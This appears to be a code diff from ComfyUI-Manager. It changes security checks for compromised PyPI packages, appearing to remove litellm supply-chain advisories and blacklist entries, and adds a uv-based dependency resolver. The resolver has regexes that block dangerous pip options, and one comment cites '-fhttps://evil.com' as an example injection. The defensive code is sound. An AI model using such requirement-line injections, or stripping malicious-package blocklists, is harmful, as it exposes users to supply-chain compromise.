node_id = info['id'] # robust module guessing
|
||||
version = info['ver']
|
||||
# Prefer version from directory name for disabled packages (preserves 'nightly' literal)
|
||||
# Otherwise use version from package inspection (commit hash for git repos)
|
||||
if version_from_dirname:
|
||||
version = version_from_dirname
|
||||
else:
|
||||
version = info['ver']
|
||||
|
||||
# Get repository URL for both nightly and CNR packages
|
||||
if version == 'nightly':
|
||||
# For nightly packages, get repo URL from git
|
||||
repo_url = git_utils.git_url(fullpath)
|
||||
elif 'url' in info and info['url']:
|
||||
# For CNR packages, get repo URL from pyproject.toml
|
||||
repo_url = info['url']
|
||||
|
||||
return InstalledNodePackage(
|
||||
id=node_id, fullpath=fullpath, disabled=disabled, version=version
|
||||
id=node_id, fullpath=fullpath, disabled=disabled, version=version, repo_url=repo_url
|
||||
)
|
||||
|
||||
@@ -53,40 +53,6 @@ And kill and remove /tmp/ultralytics_runner
|
||||
|
||||
The version 8.3.41 to 8.3.42 of the Ultralytics package you installed is compromised. Please uninstall that version and reinstall the latest version.
|
||||
https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situation/
|
||||
""",
|
||||
"litellm==1.82.7": f"""
|
||||
Execute following commands:
|
||||
{sys.executable} -m pip uninstall litellm
|
||||
|
||||
The litellm PyPI package versions 1.82.7 and 1.82.8 were compromised via a supply chain attack.
|
||||
Malicious code harvests SSH keys, environment variables, API keys, cloud credentials, and exfiltrates them to an attacker-controlled server.
|
||||
Version 1.82.8 also installs a .pth file that executes malware on ANY Python startup, even without importing litellm.
|
||||
|
||||
1. Uninstall litellm immediately.
|
||||
2. Assume all credentials accessible to the litellm environment are compromised.
|
||||
3. Rotate all API keys, cloud credentials, SSH keys, and database passwords.
|
||||
4. Check site-packages for unexpected .pth files (e.g. litellm_init.pth) and remove them.
|
||||
5. Run a full malware scan.
|
||||
|
||||
Details: https://github.com/BerriAI/litellm/issues/24518
|
||||
Advisory: PYSEC-2026-2
|
||||
""",
|
||||
"litellm==1.82.8": f"""
|
||||
Execute following commands:
|
||||
{sys.executable} -m pip uninstall litellm
|
||||
|
||||
The litellm PyPI package versions 1.82.7 and 1.82.8 were compromised via a supply chain attack.
|
||||
Malicious code harvests SSH keys, environment variables, API keys, cloud credentials, and exfiltrates them to an attacker-controlled server.
|
||||
Version 1.82.8 also installs a .pth file that executes malware on ANY Python startup, even without importing litellm.
|
||||
|
||||
1. Uninstall litellm immediately.
|
||||
2. Assume all credentials accessible to the litellm environment are compromised.
|
||||
3. Rotate all API keys, cloud credentials, SSH keys, and database passwords.
|
||||
4. Check site-packages for unexpected .pth files (e.g. litellm_init.pth) and remove them.
|
||||
5. Run a full malware scan.
|
||||
|
||||
Details: https://github.com/BerriAI/litellm/issues/24518
|
||||
Advisory: PYSEC-2026-2
|
||||
"""
|
||||
}
|
||||
|
||||
@@ -94,10 +60,7 @@ Advisory: PYSEC-2026-2
|
||||
|
||||
pip_blacklist = {
|
||||
"AppleBotzz": "ComfyUI_LLMVISION",
|
||||
"ultralytics==8.3.41": "ultralytics==8.3.41",
|
||||
"ultralytics==8.3.42": "ultralytics==8.3.42",
|
||||
"litellm==1.82.7": "litellm==1.82.7",
|
||||
"litellm==1.82.8": "litellm==1.82.8",
|
||||
"ultralytics==8.3.41": "ultralytics==8.3.41"
|
||||
}
|
||||
|
||||
file_blacklist = {
|
||||
@@ -106,7 +69,6 @@ Advisory: PYSEC-2026-2
|
||||
}
|
||||
|
||||
installed_pips = subprocess.check_output(manager_util.make_pip_cmd(["freeze"]), text=True)
|
||||
installed_pip_set = set(installed_pips.strip().split('\n'))
|
||||
|
||||
detected = set()
|
||||
try:
|
||||
@@ -132,12 +94,9 @@ Advisory: PYSEC-2026-2
|
||||
detected.add(v)
|
||||
|
||||
for k, v in pip_blacklist.items():
|
||||
if '==' in k:
|
||||
if k in installed_pip_set:
|
||||
detected.add(v)
|
||||
else:
|
||||
if any(line.split('==')[0] == k for line in installed_pip_set):
|
||||
detected.add(v)
|
||||
if k in installed_pips:
|
||||
detected.add(v)
|
||||
break
|
||||
|
||||
for k, v in file_blacklist.items():
|
||||
for x in v:
|
||||
@@ -146,9 +105,9 @@ Advisory: PYSEC-2026-2
|
||||
break
|
||||
|
||||
if len(detected) > 0:
|
||||
for line in installed_pip_set:
|
||||
for line in installed_pips.split('\n'):
|
||||
for k, v in pip_blacklist.items():
|
||||
if ('==' in k and k == line) or ('==' not in k and line.split('==')[0] == k):
|
||||
if k in line:
|
||||
print(f"[SECURITY ALERT] '{line}' is dangerous.")
|
||||
|
||||
print("\n########################################################################")
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
"""Installation-denial messages shared by the glob and legacy servers."""
|
||||
|
||||
SECURITY_MESSAGE_MIDDLE = "ERROR: To use this action, a security_level of `normal or below` is required. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_MIDDLE_P = "ERROR: To use this action, security_level must be `normal or below`, and network_mode must be set to `personal_cloud`. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_HIGH_P = "ERROR: To use this action, '--listen' must be set to a local IP and security_level must be 'normal-' or lower. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_GENERAL = "ERROR: This installation is not allowed in this security_level. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_NORMAL_MINUS_MODEL = "ERROR: Downloading models that are not in '.safetensors' format is only allowed for models registered in the 'default' channel at this security level. If you want to download this model, set the security level to 'normal-' or lower."
|
||||
@@ -1,136 +0,0 @@
|
||||
"""
|
||||
Robust timestamp utilities with datetime fallback.
|
||||
|
||||
Some environments (especially Mac) have issues with the datetime module
|
||||
due to local file name conflicts or Homebrew Python module path issues.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import time as time_module
|
||||
import uuid
|
||||
|
||||
_datetime_available = None
|
||||
_dt_datetime = None
|
||||
|
||||
|
||||
def _init_datetime():
|
||||
"""Initialize datetime availability check (lazy, once)."""
|
||||
global _datetime_available, _dt_datetime
|
||||
if _datetime_available is not None:
|
||||
return
|
||||
|
||||
try:
|
||||
import datetime as dt
|
||||
if hasattr(dt, 'datetime'):
|
||||
from datetime import datetime as dt_datetime
|
||||
_dt_datetime = dt_datetime
|
||||
_datetime_available = True
|
||||
return
|
||||
except Exception as e:
|
||||
logging.debug(f"[ComfyUI-Manager] datetime import failed: {e}")
|
||||
|
||||
_datetime_available = False
|
||||
logging.warning("[ComfyUI-Manager] datetime unavailable, using time module fallback")
|
||||
|
||||
|
||||
def current_timestamp() -> str:
|
||||
"""
|
||||
Get current timestamp for logging.
|
||||
Format: YYYY-MM-DD HH:MM:SS.mmm (or Unix timestamp if fallback)
|
||||
"""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
|
||||
return str(time_module.time()).split('.')[0]
|
||||
|
||||
|
||||
def get_timestamp_for_filename() -> str:
|
||||
"""
|
||||
Get timestamp suitable for filenames.
|
||||
Format: YYYYMMDD_HHMMSS
|
||||
"""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||
return time_module.strftime('%Y%m%d_%H%M%S')
|
||||
|
||||
|
||||
def get_timestamp_for_path() -> str:
|
||||
"""
|
||||
Get timestamp for path/directory names.
|
||||
Format: YYYY-MM-DD_HH-MM-SS
|
||||
"""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now().strftime('%Y-%m-%d_%H-%M-%S')
|
||||
return time_module.strftime('%Y-%m-%d_%H-%M-%S')
|
||||
|
||||
|
||||
def get_backup_branch_name(repo=None) -> str:
|
||||
"""
|
||||
Get backup branch name with current timestamp.
|
||||
Format: backup_YYYYMMDD_HHMMSS (or backup_YYYYMMDD_HHMMSS_N if exists)
|
||||
|
||||
Args:
|
||||
repo: Optional git.Repo object. If provided, checks for name collisions
|
||||
and adds sequential suffix if needed.
|
||||
|
||||
Returns:
|
||||
Unique backup branch name.
|
||||
"""
|
||||
base_name = f'backup_{get_timestamp_for_filename()}'
|
||||
|
||||
if repo is None:
|
||||
return base_name
|
||||
|
||||
# Check if branch exists
|
||||
try:
|
||||
existing_branches = {b.name for b in repo.list_heads()}
|
||||
except Exception:
|
||||
return base_name
|
||||
|
||||
if base_name not in existing_branches:
|
||||
return base_name
|
||||
|
||||
# Add sequential suffix
|
||||
for i in range(1, 100):
|
||||
new_name = f'{base_name}_{i}'
|
||||
if new_name not in existing_branches:
|
||||
return new_name
|
||||
|
||||
# Ultimate fallback: use UUID (very unlikely to reach here)
|
||||
return f'{base_name}_{uuid.uuid4().hex[:6]}'
|
||||
|
||||
|
||||
def get_now():
|
||||
"""
|
||||
Get current datetime object.
|
||||
Returns datetime.now() if available, otherwise a FakeDatetime object
|
||||
that supports basic operations (timestamp(), strftime()).
|
||||
"""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now()
|
||||
|
||||
# Fallback: return object with basic datetime-like interface
|
||||
t = time_module.localtime()
|
||||
|
||||
class FakeDatetime:
|
||||
def timestamp(self):
|
||||
return time_module.time()
|
||||
|
||||
def strftime(self, fmt):
|
||||
return time_module.strftime(fmt, t)
|
||||
|
||||
def isoformat(self):
|
||||
return time_module.strftime('%Y-%m-%dT%H:%M:%S', t)
|
||||
|
||||
return FakeDatetime()
|
||||
|
||||
|
||||
def get_unix_timestamp() -> float:
|
||||
"""Get current Unix timestamp."""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now().timestamp()
|
||||
return time_module.time()
|
||||
@@ -1,729 +0,0 @@
|
||||
"""Unified Dependency Resolver for ComfyUI Manager.
|
||||
|
||||
Resolves and installs all node-pack dependencies at once using ``uv pip compile``
|
||||
followed by ``uv pip install -r``, replacing per-node-pack ``pip install`` calls.
|
||||
|
||||
Responsibility scope
|
||||
--------------------
|
||||
- Dependency collection, resolution, and installation **only**.
|
||||
- ``install.py`` execution and ``PIPFixer`` calls are the caller's responsibility.
|
||||
|
||||
See Also
|
||||
--------
|
||||
- docs/dev/PRD-unified-dependency-resolver.md
|
||||
- docs/dev/DESIGN-unified-dependency-resolver.md
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
from . import manager_util
|
||||
|
||||
logger = logging.getLogger("ComfyUI-Manager")
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Exceptions
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class UvNotAvailableError(RuntimeError):
|
||||
"""Raised when neither ``python -m uv`` nor standalone ``uv`` is found."""
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Data classes
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@dataclass
|
||||
class PackageRequirement:
|
||||
"""Individual package dependency."""
|
||||
name: str # Normalised package name
|
||||
spec: str # Original spec string (e.g. ``torch>=2.0``)
|
||||
source: str # Absolute path of the source node pack
|
||||
|
||||
|
||||
@dataclass
|
||||
class CollectedDeps:
|
||||
"""Aggregated dependency collection result."""
|
||||
requirements: list[PackageRequirement] = field(default_factory=list)
|
||||
skipped: list[tuple[str, str]] = field(default_factory=list)
|
||||
sources: dict[str, list[tuple[str, str]]] = field(default_factory=dict)
|
||||
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
|
||||
extra_index_urls: list[str] = field(default_factory=list)
|
||||
|
||||
|
||||
@dataclass
|
||||
class LockfileResult:
|
||||
"""Result of ``uv pip compile``."""
|
||||
success: bool
|
||||
lockfile_path: str | None = None
|
||||
conflicts: list[str] = field(default_factory=list)
|
||||
stderr: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class InstallResult:
|
||||
"""Result of ``uv pip install -r`` (atomic: all-or-nothing)."""
|
||||
success: bool
|
||||
installed: list[str] = field(default_factory=list)
|
||||
skipped: list[str] = field(default_factory=list)
|
||||
stderr: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class ResolveResult:
|
||||
"""Full pipeline result."""
|
||||
success: bool
|
||||
collected: CollectedDeps | None = None
|
||||
lockfile: LockfileResult | None = None
|
||||
install: InstallResult | None = None
|
||||
error: str | None = None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Resolver
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_TMP_PREFIX = "comfyui_resolver_"
|
||||
|
||||
# Security: reject dangerous requirement patterns at line start.
|
||||
# NOTE: This regex is intentionally kept alongside _INLINE_DANGEROUS_OPTIONS
|
||||
# because it covers ``@ file://`` via ``.*@\s*file://`` which relies on the
|
||||
# ``^`` anchor. Both regexes share responsibility for option rejection:
|
||||
# this one catches line-start patterns; _INLINE_DANGEROUS_OPTIONS catches
|
||||
# options appearing after a package name.
|
||||
_DANGEROUS_PATTERNS = re.compile(
|
||||
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
|
||||
r'|--find-links\b|-f\b|.*@\s*file://)',
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Security: reject dangerous pip options appearing anywhere in the line
|
||||
# (supplements the ^-anchored _DANGEROUS_PATTERNS which only catches line-start).
|
||||
# The ``(?:^|\s)`` prefix prevents false positives on hyphenated package names
|
||||
# (e.g. ``re-crypto``, ``package[extra-c]``) while still catching concatenated
|
||||
# short-flag attacks like ``-fhttps://evil.com``.
|
||||
_INLINE_DANGEROUS_OPTIONS = re.compile(
|
||||
r'(?:^|\s)(--find-links\b|--constraint\b|--requirement\b|--editable\b'
|
||||
r'|--trusted-host\b|--global-option\b|--install-option\b'
|
||||
r'|-f|-r|-e|-c)',
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Credential redaction in index URLs.
|
||||
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
|
||||
|
||||
# Version-spec parsing (same regex as existing ``is_blacklisted()``).
|
||||
_VERSION_SPEC_PATTERN = re.compile(r'([^<>!~=]+)([<>!~=]=?)([^ ]*)')
|
||||
|
||||
|
||||
|
||||
def collect_node_pack_paths(custom_nodes_dirs: list[str]) -> list[str]:
|
||||
"""Collect all installed node-pack directory paths.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
custom_nodes_dirs:
|
||||
Base directories returned by ``folder_paths.get_folder_paths('custom_nodes')``.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list[str]
|
||||
Paths of node-pack directories (immediate subdirectories of each base).
|
||||
"""
|
||||
paths: list[str] = []
|
||||
for base in custom_nodes_dirs:
|
||||
if os.path.isdir(base):
|
||||
for name in os.listdir(base):
|
||||
fullpath = os.path.join(base, name)
|
||||
if os.path.isdir(fullpath):
|
||||
paths.append(fullpath)
|
||||
return paths
|
||||
|
||||
|
||||
def collect_base_requirements(comfy_path: str) -> list[str]:
|
||||
"""Read ComfyUI's own base requirements as constraint lines.
|
||||
|
||||
Reads ``requirements.txt`` and ``manager_requirements.txt`` from *comfy_path*.
|
||||
These are ComfyUI-level dependencies only — never read from node packs.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
comfy_path:
|
||||
Root directory of the ComfyUI installation.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list[str]
|
||||
Non-empty, non-comment requirement lines.
|
||||
"""
|
||||
reqs: list[str] = []
|
||||
for filename in ("requirements.txt", "manager_requirements.txt"):
|
||||
req_path = os.path.join(comfy_path, filename)
|
||||
if os.path.exists(req_path):
|
||||
with open(req_path, encoding="utf-8") as f:
|
||||
reqs.extend(
|
||||
line.strip() for line in f
|
||||
if line.strip() and not line.strip().startswith('#')
|
||||
)
|
||||
return reqs
|
||||
|
||||
|
||||
class UnifiedDepResolver:
|
||||
"""Unified dependency resolver.
|
||||
|
||||
Resolves and installs all dependencies of (installed + new) node packs at
|
||||
once using *uv*.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
node_pack_paths:
|
||||
Absolute paths of node-pack directories to consider.
|
||||
base_requirements:
|
||||
Lines from ComfyUI's own ``requirements.txt`` (used as constraints).
|
||||
blacklist:
|
||||
Package names to skip unconditionally (default: ``cm_global.pip_blacklist``).
|
||||
overrides:
|
||||
Package-name remapping dict (default: ``cm_global.pip_overrides``).
|
||||
downgrade_blacklist:
|
||||
Packages whose installed versions must not be downgraded
|
||||
(default: ``cm_global.pip_downgrade_blacklist``).
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
node_pack_paths: list[str],
|
||||
base_requirements: list[str] | None = None,
|
||||
blacklist: set[str] | None = None,
|
||||
overrides: dict[str, str] | None = None,
|
||||
downgrade_blacklist: list[str] | None = None,
|
||||
) -> None:
|
||||
self.node_pack_paths = node_pack_paths
|
||||
self.base_requirements = base_requirements or []
|
||||
self.blacklist: set[str] = blacklist if blacklist is not None else set()
|
||||
self.overrides: dict[str, str] = overrides if overrides is not None else {}
|
||||
self.downgrade_blacklist: list[str] = (
|
||||
downgrade_blacklist if downgrade_blacklist is not None else []
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def resolve_and_install(self) -> ResolveResult:
|
||||
"""Execute the full pipeline: cleanup → collect → compile → install."""
|
||||
self.cleanup_stale_tmp()
|
||||
|
||||
tmp_dir: str | None = None
|
||||
try:
|
||||
# 1. Collect
|
||||
collected = self.collect_requirements()
|
||||
if not collected.requirements:
|
||||
logger.info("[UnifiedDepResolver] No dependencies to resolve")
|
||||
return ResolveResult(success=True, collected=collected)
|
||||
|
||||
logger.info(
|
||||
"[UnifiedDepResolver] Collected %d deps from %d sources (skipped %d)",
|
||||
len(collected.requirements),
|
||||
len(collected.sources),
|
||||
len(collected.skipped),
|
||||
)
|
||||
|
||||
# 2. Compile
|
||||
lockfile = self.compile_lockfile(collected)
|
||||
if not lockfile.success:
|
||||
return ResolveResult(
|
||||
success=False,
|
||||
collected=collected,
|
||||
lockfile=lockfile,
|
||||
error=f"compile failed: {'; '.join(lockfile.conflicts)}",
|
||||
)
|
||||
# tmp_dir is the parent of lockfile_path
|
||||
tmp_dir = os.path.dirname(lockfile.lockfile_path) # type: ignore[arg-type]
|
||||
|
||||
# 3. Install
|
||||
install = self.install_from_lockfile(lockfile.lockfile_path) # type: ignore[arg-type]
|
||||
return ResolveResult(
|
||||
success=install.success,
|
||||
collected=collected,
|
||||
lockfile=lockfile,
|
||||
install=install,
|
||||
error=install.stderr if not install.success else None,
|
||||
)
|
||||
except UvNotAvailableError:
|
||||
raise
|
||||
except Exception as exc:
|
||||
logger.warning("[UnifiedDepResolver] unexpected error: %s", exc)
|
||||
return ResolveResult(success=False, error=str(exc))
|
||||
finally:
|
||||
if tmp_dir and os.path.isdir(tmp_dir):
|
||||
shutil.rmtree(tmp_dir, ignore_errors=True)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Step 1: collect
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def collect_requirements(self) -> CollectedDeps:
|
||||
"""Collect dependencies from all node packs."""
|
||||
requirements: list[PackageRequirement] = []
|
||||
skipped: list[tuple[str, str]] = []
|
||||
sources: defaultdict[str, list[tuple[str, str]]] = defaultdict(list)
|
||||
extra_index_urls: list[str] = []
|
||||
|
||||
# Snapshot installed packages once to avoid repeated subprocess calls.
|
||||
# Skip when downgrade_blacklist is empty (the common default).
|
||||
installed_snapshot = (
|
||||
manager_util.get_installed_packages()
|
||||
if self.downgrade_blacklist else {}
|
||||
)
|
||||
|
||||
for pack_path in self.node_pack_paths:
|
||||
# Exclude disabled node packs (directory-based mechanism).
|
||||
if self._is_disabled_path(pack_path):
|
||||
continue
|
||||
|
||||
req_file = os.path.join(pack_path, "requirements.txt")
|
||||
if not os.path.exists(req_file):
|
||||
continue
|
||||
|
||||
for raw_line in self._read_requirements(req_file):
|
||||
line = raw_line.split('#')[0].strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# 0. Security: reject dangerous patterns
|
||||
if _DANGEROUS_PATTERNS.match(line):
|
||||
skipped.append((line, f"rejected: dangerous pattern in {pack_path}"))
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] rejected dangerous line: '%s' from %s",
|
||||
line, pack_path,
|
||||
)
|
||||
continue
|
||||
|
||||
# 1. Separate --index-url / --extra-index-url handling
|
||||
# (before path separator check, because URLs contain '/')
|
||||
# URLs are staged but NOT committed until the line passes
|
||||
# all validation (prevents URL injection from rejected lines).
|
||||
pending_urls: list[str] = []
|
||||
if '--index-url' in line or '--extra-index-url' in line:
|
||||
pkg_spec, pending_urls = self._split_index_url(line)
|
||||
line = pkg_spec
|
||||
if not line:
|
||||
# Standalone option line (no package prefix) — safe
|
||||
extra_index_urls.extend(pending_urls)
|
||||
continue
|
||||
|
||||
# 1b. Reject dangerous pip options appearing after package name
|
||||
# (--index-url/--extra-index-url already extracted above)
|
||||
if _INLINE_DANGEROUS_OPTIONS.search(line):
|
||||
skipped.append((line, f"rejected: inline pip option in {pack_path}"))
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] rejected inline pip option: '%s' from %s",
|
||||
line, pack_path,
|
||||
)
|
||||
continue
|
||||
|
||||
# Reject path separators in package name portion
|
||||
pkg_name_part = re.split(r'[><=!~;]', line)[0]
|
||||
if '/' in pkg_name_part or '\\' in pkg_name_part:
|
||||
skipped.append((line, "rejected: path separator in package name"))
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] rejected path separator: '%s' from %s",
|
||||
line, pack_path,
|
||||
)
|
||||
continue
|
||||
|
||||
# 2. Remap package name
|
||||
pkg_spec = self._remap_package(line)
|
||||
|
||||
# 3. Extract normalised name
|
||||
pkg_name = self._extract_package_name(pkg_spec)
|
||||
|
||||
# 4. Blacklist check
|
||||
if pkg_name in self.blacklist:
|
||||
skipped.append((pkg_spec, "blacklisted"))
|
||||
continue
|
||||
|
||||
# 5. Downgrade blacklist check
|
||||
if self._is_downgrade_blacklisted(pkg_name, pkg_spec,
|
||||
installed_snapshot):
|
||||
skipped.append((pkg_spec, "downgrade blacklisted"))
|
||||
continue
|
||||
|
||||
# 6. Collect (no dedup — uv handles resolution)
|
||||
requirements.append(
|
||||
PackageRequirement(name=pkg_name, spec=pkg_spec, source=pack_path)
|
||||
)
|
||||
sources[pkg_name].append((pack_path, pkg_spec))
|
||||
|
||||
# Commit staged index URLs only after all validation passed.
|
||||
if pending_urls:
|
||||
extra_index_urls.extend(pending_urls)
|
||||
|
||||
return CollectedDeps(
|
||||
requirements=requirements,
|
||||
skipped=skipped,
|
||||
sources=dict(sources),
|
||||
extra_index_urls=list(set(extra_index_urls)),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Step 2: compile
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
|
||||
"""Generate pinned requirements via ``uv pip compile``."""
|
||||
tmp_dir = tempfile.mkdtemp(prefix=_TMP_PREFIX)
|
||||
|
||||
try:
|
||||
# Write temp requirements
|
||||
tmp_req = os.path.join(tmp_dir, "input-requirements.txt")
|
||||
with open(tmp_req, "w", encoding="utf-8") as fh:
|
||||
for req in deps.requirements:
|
||||
fh.write(req.spec + "\n")
|
||||
|
||||
# Write constraints (base dependencies)
|
||||
tmp_constraints: str | None = None
|
||||
if self.base_requirements:
|
||||
tmp_constraints = os.path.join(tmp_dir, "constraints.txt")
|
||||
with open(tmp_constraints, "w", encoding="utf-8") as fh:
|
||||
for line in self.base_requirements:
|
||||
fh.write(line.strip() + "\n")
|
||||
|
||||
lockfile_path = os.path.join(tmp_dir, "resolved-requirements.txt")
|
||||
|
||||
cmd = self._get_uv_cmd() + [
|
||||
"pip", "compile",
|
||||
tmp_req,
|
||||
"--output-file", lockfile_path,
|
||||
"--python", sys.executable,
|
||||
]
|
||||
if tmp_constraints:
|
||||
cmd += ["--constraint", tmp_constraints]
|
||||
|
||||
for url in deps.extra_index_urls:
|
||||
logger.info(
|
||||
"[UnifiedDepResolver] extra-index-url: %s",
|
||||
self._redact_url(url),
|
||||
)
|
||||
cmd += ["--extra-index-url", url]
|
||||
|
||||
logger.info("[UnifiedDepResolver] running: %s", " ".join(
|
||||
self._redact_url(c) for c in cmd
|
||||
))
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=300,
|
||||
)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("[UnifiedDepResolver] uv pip compile timed out (300s)")
|
||||
return LockfileResult(
|
||||
success=False,
|
||||
conflicts=["compile timeout exceeded (300s)"],
|
||||
stderr="TimeoutExpired",
|
||||
)
|
||||
|
||||
if result.returncode != 0:
|
||||
conflicts = self._parse_conflicts(result.stderr)
|
||||
return LockfileResult(
|
||||
success=False,
|
||||
conflicts=conflicts,
|
||||
stderr=result.stderr,
|
||||
)
|
||||
|
||||
if not os.path.exists(lockfile_path):
|
||||
return LockfileResult(
|
||||
success=False,
|
||||
conflicts=["lockfile not created despite success return code"],
|
||||
stderr=result.stderr,
|
||||
)
|
||||
|
||||
return LockfileResult(success=True, lockfile_path=lockfile_path)
|
||||
|
||||
except UvNotAvailableError:
|
||||
shutil.rmtree(tmp_dir, ignore_errors=True)
|
||||
raise
|
||||
except Exception:
|
||||
shutil.rmtree(tmp_dir, ignore_errors=True)
|
||||
raise
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Step 3: install
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
|
||||
"""Install from pinned requirements (``uv pip install -r``).
|
||||
|
||||
Do **not** use ``uv pip sync`` — it deletes packages not in the
|
||||
lockfile, risking removal of torch, ComfyUI deps, etc.
|
||||
"""
|
||||
cmd = self._get_uv_cmd() + [
|
||||
"pip", "install",
|
||||
"--requirement", lockfile_path,
|
||||
"--python", sys.executable,
|
||||
]
|
||||
|
||||
logger.info("[UnifiedDepResolver] running: %s", " ".join(cmd))
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=600,
|
||||
)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("[UnifiedDepResolver] uv pip install timed out (600s)")
|
||||
return InstallResult(
|
||||
success=False,
|
||||
stderr="TimeoutExpired: install exceeded 600s",
|
||||
)
|
||||
|
||||
installed, skipped_pkgs = self._parse_install_output(result)
|
||||
|
||||
return InstallResult(
|
||||
success=result.returncode == 0,
|
||||
installed=installed,
|
||||
skipped=skipped_pkgs,
|
||||
stderr=result.stderr if result.returncode != 0 else "",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# uv command resolution
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _get_uv_cmd(self) -> list[str]:
|
||||
"""Determine the ``uv`` command to use.
|
||||
|
||||
``python_embeded`` spelling is intentional — matches the actual path
|
||||
name in the ComfyUI Windows distribution.
|
||||
"""
|
||||
embedded = 'python_embeded' in sys.executable
|
||||
|
||||
# 1. Try uv as a Python module
|
||||
try:
|
||||
test_cmd = (
|
||||
[sys.executable]
|
||||
+ (['-s'] if embedded else [])
|
||||
+ ['-m', 'uv', '--version']
|
||||
)
|
||||
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
|
||||
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv']
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2. Standalone uv executable
|
||||
if shutil.which('uv'):
|
||||
return ['uv']
|
||||
|
||||
raise UvNotAvailableError("uv is not available")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers — collection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _is_disabled_path(path: str) -> bool:
|
||||
"""Return ``True`` if *path* is within a ``.disabled`` directory."""
|
||||
# New style: custom_nodes/.disabled/{name}
|
||||
if '/.disabled/' in path or os.path.basename(os.path.dirname(path)) == '.disabled':
|
||||
return True
|
||||
# Old style: {name}.disabled suffix
|
||||
if path.rstrip('/').endswith('.disabled'):
|
||||
return True
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _read_requirements(filepath: str) -> list[str]:
|
||||
"""Read requirements file using ``robust_readlines`` pattern."""
|
||||
return manager_util.robust_readlines(filepath)
|
||||
|
||||
@staticmethod
|
||||
def _split_index_url(line: str) -> tuple[str, list[str]]:
|
||||
"""Split index-url options from a requirement line.
|
||||
|
||||
Handles lines with one or more ``--index-url`` / ``--extra-index-url``
|
||||
options. Returns ``(package_spec, [url, ...])``.
|
||||
|
||||
Examples::
|
||||
|
||||
"torch --extra-index-url U1 --index-url U2"
|
||||
→ ("torch", ["U1", "U2"])
|
||||
|
||||
"--index-url URL"
|
||||
→ ("", ["URL"])
|
||||
"""
|
||||
urls: list[str] = []
|
||||
remainder_tokens: list[str] = []
|
||||
|
||||
# Regex: match --extra-index-url or --index-url followed by its value
|
||||
option_re = re.compile(
|
||||
r'(--(?:extra-)?index-url)\s+(\S+)'
|
||||
)
|
||||
|
||||
# Pattern for bare option flags without a URL value
|
||||
bare_option_re = re.compile(r'^--(?:extra-)?index-url$')
|
||||
|
||||
last_end = 0
|
